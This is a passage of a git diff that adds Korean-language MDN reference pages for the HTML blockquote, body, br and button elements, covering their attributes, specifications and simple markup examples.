+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLQuoteElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>인용문의 출처 문서나 메시지를 가리키는 URL. 인용문의 맥락 혹은 출처 정보를 가리킬 용도입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>인용문의 들여쓰기를 바꾸려면 {{glossary("CSS")}} {{cssxref("margin-left")}}와 {{cssxref("margin-right")}}, 혹은 {{cssxref("margin")}} 단축 속성을 사용하세요.</p>
+
+<p>별도의 블록을 쓰지 않아도 될 짧은 인용문은 {{htmlelement("q")}} 요소를 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>&lt;blockquote&gt;</code> 요소를 사용해 {{RFC(1149)}} <cite>A Standard for the Transmission of IP Datagrams on Avian Carriers의 문단을 인용합니다.</cite></p>
+
+<pre class="brush: html">&lt;blockquote cite="https://tools.ietf.org/html/rfc1149"&gt;
+ &lt;p&gt;Avian carriers can provide high delay, low
+ throughput, and low altitude service. The
+ connection topology is limited to a single
+ point-to-point path for each carrier, used with
+ standard carriers, but many carriers can be used
+ without significant interference with each other,
+ outside of early spring. This is because of the 3D
+ ether space available to the carriers, in contrast
+ to the 1D ether used by IEEE802.3. The carriers
+ have an intrinsic collision avoidance system, which
+ increases availability.&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제", 640, 180)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.blockquote")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인라인 인용문을 위한 {{HTMLElement("q")}} 요소.</li>
+ <li>인용문 출처 표기를 위한 {{HTMLElement("cite")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/body/index.html b/files/ko/web/html/element/body/index.html
new file mode 100644
index 0000000000..d7d031bcb2
--- /dev/null
+++ b/files/ko/web/html/element/body/index.html
@@ -0,0 +1,166 @@
+---
+title: '<body>: 문서 본문 요소'
+slug: Web/HTML/Element/body
+tags:
+ - Element
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/body
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;body&gt;</code> 요소</strong>는 HTML 문서의 내용을 나타냅니다. 한 문서에 하나의 <code>&lt;body&gt;</code> 요소만 존재할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Sectioning_roots">구획 루트</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>태그 내의 첫번째 것이 공백, 주석, {{HTMLElement("script")}}요소, {{HTMLElement("style")}}요소가 아닐경우 시작태그를 생략할수 있습니다. body 요소가 시작태그를 가지고있고, 바로 뒤에 주석이 따라오지 않는다면 종료 태그를 생략할수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("html")}} 요소의 두번째 요소여야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Document_Role"><code>document</code></a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLBodyElement")}}
+ <ul>
+ <li><code>&lt;body&gt;</code> 요소는 {{domxref("HTMLBodyElement")}} 인터페이스를 노출합니다.</li>
+ <li>{{domxref("document.body")}} 속성을 통해 <code>&lt;body&gt;</code> 요소에 접근할 수 있습니다.</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>선택한 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":active")}}의 조합을 대신 사용하세요.</em></dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>배경 이미지의 URI. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("background")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>배경색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("background-color")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>아래쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-bottom")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>왼쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-left")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>방문하지 않은 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":link")}}의 조합을 대신 사용하세요.</em></dd>
+ <dt>{{htmlattrdef("onafterprint")}}</dt>
+ <dd>사용자가 문서를 출력한 뒤 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}}</dt>
+ <dd>사용자가 문서 출력을 요청했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}}</dt>
+ <dd>문서를 처분<sup>unload</sup>하기 직전에 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onblur")}}</dt>
+ <dd>문서가 포커스를 상실했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onerror")}}</dt>
+ <dd>문서를 제대로 불러오지 못했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onfocus")}}</dt>
+ <dd>문서가 포커스를 받을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onhashchange")}}</dt>
+ <dd>문서의 현재 주소 중 Fragment identifier part(해시(<code>'#'</code>) 문자로 시작)가 변경됐을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>선호 언어 변경 시 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onload")}}</dt>
+ <dd>문서를 다 불러왔을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onmessage")}}</dt>
+ <dd>문서가 메시지를 받았을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onoffline")}}</dt>
+ <dd>네트워크 연결이 실패했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("ononline")}}</dt>
+ <dd>네트워크 연결을 복구했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onpopstate")}}</dt>
+ <dd>사용자가 세션 기록을 따라 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onredo")}}</dt>
+ <dd>사용자가 되돌리기 변경 기록(undo transaction history)에서 다시 이후로 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onresize")}}</dt>
+ <dd>문서의 크기가 바뀔 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onstorage")}}</dt>
+ <dd>저장 영역이 변경되었을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onundo")}}</dt>
+ <dd>사용자가 되돌리기 변경 기록(undo transaction history)에서 이전으로 이동했을 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("onunload")}}</dt>
+ <dd>문서를 처분(unload) 중일 때 호출할 함수.</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>오른쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-right")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>글자의 전경색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>위쪽 여백. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("margin-top")}} 속성을 대신 적용하세요.</em></dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>방문했던 하이퍼텍스트 링크의 색. <em>이 방법은 적합하지 않습니다. CSS {{cssxref("color")}} 속성과 {{cssxref(":visited")}}의 조합을 대신 사용하세요.</em></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;문서 제목&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p&gt;문단입니다&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Changed the list of non-conforming features.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Obsoleted the formerly deprecated attributes. Defined the behavior of the non-conforming and never standardized <code>margintop</code>, <code>marginleft</code>, <code>marginright</code> and <code>marginbottom</code>. Added the <code>on*</code> attributes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Deprecated the <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> and <code>vlink</code> attributes.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/br/index.html b/files/ko/web/html/element/br/index.html
new file mode 100644
index 0000000000..918a0c7486
--- /dev/null
+++ b/files/ko/web/html/element/br/index.html
@@ -0,0 +1,130 @@
+---
+title: '<br>: 줄바꿈 요소'
+slug: Web/HTML/Element/br
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/br
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;br&gt;</code> 요소</strong>는 텍스트 안에 줄바꿈(캐리지 리턴)을 생성합니다. 주소나 시조 등 줄의 구분이 중요한 내용을 작성할 때 유용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/br.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위 예제에서 확인할 수 있듯, <code>&lt;br&gt;</code> 요소는 텍스트를 끊고 싶은 지점에 삽입해야 합니다. <code>&lt;br&gt;</code> 이후의 텍스트는 텍스트 블록의 다음 줄에서 다시 시작합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 문단 사이에 여백을 두기 위한 용도로 <code>&lt;br&gt;</code>을 사용하지 마세요. 대신 {{htmlelement("p")}} 요소로 감싼 후 <a href="/ko/docs/Web/CSS">CSS</a>의 {{cssxref("margin")}} 속성으로 여백의 크기를 조절하세요.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;br&gt;</code> 요소는 텍스트 블록에서 줄을 바꾼다는 하나의 명확한 목적만 가지고 있습니다. 따라서 크기도,  외형도 없으므로 스타일을 적용할 것도 거의 없습니다.</p>
+
+<p><code>&lt;br&gt;</code> 요소에 {{cssxref("margin")}}을 적용하면 줄 간격을 늘릴 수 있겠지만 좋은 방법은 아닙니다. 이런 목적을 위해 만들어진 CSS {{cssxref("line-height")}} 속성을 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("예제", "100%", "90")}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>문단 구분을 <code>&lt;br&gt;</code>로 하는건 나쁜 사례일 뿐만 아니라 스크린 리더를 사용해 탐색하는 사용자에게도 문제가 됩니다. 스크린 리더가 요소의 존재는 알려주겠지만, <code>&lt;br&gt;</code>에는 아무런 내용도 없기 때문입니다. 따라서 사용자는 내용이 어딨는지 몰라 혼란을 느낄 수 있습니다.</p>
+
+<p>{{htmlelement("p")}} 요소와 함께 CSS {{cssxref("margin")}} 속성 등을 조합해 간격을 조절하세요.</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLBRElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.br")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}} 요소</li>
+ <li>{{HTMLElement("p")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/button/index.html b/files/ko/web/html/element/button/index.html
new file mode 100644
index 0000000000..01f57291a9
--- /dev/null
+++ b/files/ko/web/html/element/button/index.html
@@ -0,0 +1,293 @@
+---
+title: '<button>: 버튼 요소'
+slug: Web/HTML/Element/button
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;button&gt;</code> 요소</strong>는 클릭 가능한 버튼을 나타냅니다. 버튼은 <a href="/ko/docs/Learn/HTML/Forms">양식</a> 내부는 물론 간단한 표준 버튼 기능이 필요한 곳이라면 문서 어디에나 배치할 수 있습니다.</span> 기본값의 HTML 버튼은 {{glossary("user agent", "사용자 에이전트")}}의 호스트 플랫폼과 비슷한 디자인을 따라가지만, 외형은 <a href="/ko/docs/Web/CSS">CSS</a>로 변경할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/button.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제출_가능">제출 가능</a>), 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>를 제외한 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><code><a href="/ko/docs/Web/Accessibility/ARIA/Roles/button_role">button</a></code></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("checkbox")}}, {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLButtonElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>페이지 로드 후, 이 버튼에 포커스가 위치해야 하는지 나타냅니다. 문서 내에서 <strong>하나의 요소</strong>만 <code>autofocus</code> 특성을 가질 수 있습니다.</dd>
+ <dt class="hidden">{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd class="hidden">This attribute on a {{HTMLElement("button")}} is nonstandard and Firefox-specific. Unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox persists the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Setting <code>autocomplete="off"</code> disables this feature; see {{bug(654072)}}.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>버튼과 사용자의 상호작용, 즉 누르거나 클릭하는 것을 막습니다.</p>
+
+ <p class="hidden">Firefox, unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>버튼과 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 버튼을 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("formaction")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, 제출한 정보를 처리할 URL. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("action","form")}} 특성보다 우선합니다. 양식 소유자가 존재하지 않으면 영향을 주지 않습니다.</dd>
+ <dt>{{htmlattrdef("formenctype")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formenctype</code> 특성은 양식을 서버로 제출할 때 사용할 양식 데이터 인코딩을 지정합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code>: 기본값.</li>
+ <li><code>multipart/form-data</code>: {{htmlattrxref("type","input")}} 특성이 <code>file</code>인 {{HTMLElement("input")}}이 존재하는 양식에서 사용하세요.</li>
+ <li><code>text/plain</code>: 디버깅 전용으로 명세에 추가된 값입니다. 실제 양식 제출 시 사용해선 안됩니다.</li>
+ </ul>
+
+ <p>지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("enctype","form")}} 특성보다 우선합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formmethod</code> 특성은 양식을 서버로 제출할 때 사용할 <a href="/ko/docs/Web/HTTP/Methods">HTTP 메서드</a>를 지정합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>post</code>: 양식의 데이터를 HTTP 요청 본문에 넣습니다. 비밀번호처럼, 양식 데이터 중 공개하지 않아야 하는 항목이 있으면 사용하세요.</li>
+ <li><code>get</code>: 양식 <code>action</code> URL 뒤에 <code>?</code> 를 추가한 후 양식 데이터를 덧붙입니다. 검색 양식처럼, 양식이 사이드 이펙트를 갖지 않을 때 사용하세요.</li>
+ </ul>
+
+ <p>지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("method","form")}} 특성보다 우선합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formnovalidate</code> 특성은 양식을 제출할 때 <a href="/ko/docs/Learn/Forms/Form_validation">유효성 검사</a>를 하지 않겠다는 것을 지정합니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("novalidate","form")}} 특성보다 우선합니다.</dd>
+ <dt>{{htmlattrdef("formtarget")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formtarget</code> 특성에는 양식 제출의 결과를 표시할 위치를 나타내는 표준 키워드 혹은 사용자 지정 이름을 사용할 수 있습니다. 가능한 값은 {{glossary("browsing context", "브라우징 맥락")}}(탭, 창, {{htmlelement("iframe")}})의 이름 또는 키워드입니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("target","form")}} 특성보다 우선합니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+ <li><code>_self</code>: 응답을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+ <li><code>_blank</code>: 응답을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+ <li><code>_parent</code>: 응답을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ <li><code>_top</code>: 응답을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>버튼의 이름. 제출할 때, 버튼의 <code>value</code> 특성과 함께 양식 데이터의 일부를 구성합니다.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>버튼의 행동 방식. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>submit</code>: 버튼이 서버로 양식 데이터를 제출합니다. 지정하지 않은 경우 기본값이며, 유효하지 않은 값일 때도 사용합니다.</li>
+ <li><code>reset</code>: <code>&lt;input type="reset"&gt;</code>처럼, 모든 컨트롤을 초깃값으로 되돌립니다.</li>
+ <li><code>button</code>: 기본 행동이 없으며 클릭했을 때 아무것도 하지 않습니다. 클라이언트측 스크립트와 연결할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>버튼의 초깃값. 제출할 때, 버튼의 <code>value</code> 특성과 함께 양식 데이터의 일부를 구성합니다.</dd>
+</dl>
+
+<h2 id="참고">참고</h2>
+
